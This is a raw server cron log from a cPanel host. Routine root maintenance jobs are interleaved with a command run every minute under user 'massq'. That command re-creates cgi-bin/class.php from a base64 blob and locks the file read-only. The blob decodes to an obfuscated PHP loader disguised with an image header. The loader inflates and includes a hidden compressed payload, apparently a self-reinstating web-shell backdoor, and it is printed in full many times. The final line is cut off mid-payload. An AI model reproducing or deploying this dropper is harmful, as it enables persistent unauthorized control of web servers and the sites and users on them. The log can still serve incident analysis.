Sep  6 17:59:01 server CROND[23545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:00:01 server CROND[23934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:00:01 server CROND[23937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:00:01 server CROND[23938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:00:01 server CROND[23943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:00:01 server CROND[23945]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 18:00:01 server CROND[23942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:00:01 server CROND[23946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:00:01 server CROND[23940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:00:01 server CROND[23944]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 18:00:01 server CROND[23951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:01:01 server CROND[24888]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 18:01:01 server CROND[24890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:01:01 server CROND[24889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:01:01 server CROND[24892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:01:01 server run-parts(/etc/cron.hourly)[24888]: starting 0anacron
Sep  6 18:01:01 server run-parts(/etc/cron.hourly)[24911]: finished 0anacron
Sep  6 18:02:01 server CROND[25280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:02:01 server CROND[25281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:02:01 server CROND[25282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:03:01 server CROND[25714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:03:01 server CROND[25716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:03:01 server CROND[25717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:04:01 server CROND[26100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:04:01 server CROND[26101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:04:01 server CROND[26102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:05:01 server CROND[26486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:05:01 server CROND[26489]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:05:01 server CROND[26490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:05:01 server CROND[26491]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:05:01 server CROND[26492]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:05:01 server CROND[26493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:05:01 server CROND[26488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:05:01 server CROND[26494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:06:01 server CROND[27343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:06:01 server CROND[27344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:06:01 server CROND[27345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:07:01 server CROND[27718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:07:01 server CROND[27720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:07:01 server CROND[27719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:08:01 server CROND[28183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:08:01 server CROND[28184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:08:01 server CROND[28185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:09:01 server CROND[28526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:09:01 server CROND[28527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:09:01 server CROND[28528]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 18:09:01 server CROND[28529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:10:01 server CROND[28921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:10:01 server CROND[28923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:10:01 server CROND[28927]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:10:01 server CROND[28924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:10:01 server CROND[28929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:10:01 server CROND[28928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQ